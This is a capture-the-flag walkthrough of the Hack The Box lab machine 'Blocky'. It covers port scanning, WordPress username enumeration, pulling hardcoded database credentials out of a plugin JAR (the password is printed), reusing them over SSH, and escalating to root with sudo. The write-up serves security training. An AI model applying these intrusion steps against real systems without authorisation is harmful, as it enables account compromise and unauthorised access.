Blocky Walkthrough

Machine: Blocky#

Date: 19-03-2026 Platform: HTB Status: [Rooted]

🔍 Recon#

Nmap:#

nmap -sC -sV -oN scans/nmap.txt $MACHINE_IP

Results:

Port 21 → FTP (ProFTPD 1.3.5a) — anonymous login denied
Port 22 → SSH (OpenSSH 7.2p2, Ubuntu)
Port 80 → HTTP (Apache 2.4.18) — redirects to blocky.htb
Port 8192 → closed

Notes:

Added hostname to /etc/hosts: echo "10.129.6.235 blocky.htb" | sudo tee -a /etc/hosts
Website is a Minecraft-themed WordPress blog
FTP anonymous access denied

📂 Enumeration#

Web:#

WordPress site at http://blocky.htb
Directory http://blocky.htb/plugins/ accessible — contains two JAR files:
- BlockyCore.jar (883 B) ← interesting
- griefprevention-1.11.2-3.1.1.298.jar (520 KB)

WordPress user enumeration:#

curl http://blocky.htb/?author=1

→ Redirects to /index.php/author/notch/ → username: notch

JAR analysis:#

jar xf BlockyCore.jar
strings BlockyCore.jar | grep -i "pass\|user\|root\|sql"

Credentials found hardcoded in BlockyCore.class:

sqlUser = root
sqlPass = 8YsqfCTnvxAUeduzjNSXe22

💥 Exploitation#

DB password reused as system password for user notch
SSH login:

ssh notch@$MACHINE_IP
# password: [REDACTED]

Result: Shell as notch ✅

⚡ Privilege Escalation#

Enumeration:

sudo -l
# (ALL : ALL) ALL — notch can run anything as root

Escalation:

sudo su
# password: [REDACTED]

Successful escalation: root ✅

🎯 Loot / Flags#

user.txt: ``[FLAG REDACTED]`
root.txt: ``[FLAG REDACTED]`

📝 Lessons Learned#

Always download and analyse custom JAR/class files — developers hardcode credentials
strings on a JAR is the fastest way to find plaintext secrets without a decompiler
WordPress author enumeration via /?author=1 reveals valid usernames instantly
Database credentials are very often reused as system user passwords — always try them on SSH
(ALL : ALL) ALL in sudo -l = instant root with sudo su
Check /plugins/ and other non-standard web directories during enumeration

#Linux #HTB #Enumeration #Web #Apache #WordPress #FTP #UserEnumeration #Plugins #JAR #CredentialExtraction #HardcodedCredentials #Strings #PasswordReuse #SSH #PrivilegeEscalation #Sudo #PostExploitation

Adapted from MountainFlayer/htb-writeups under MIT.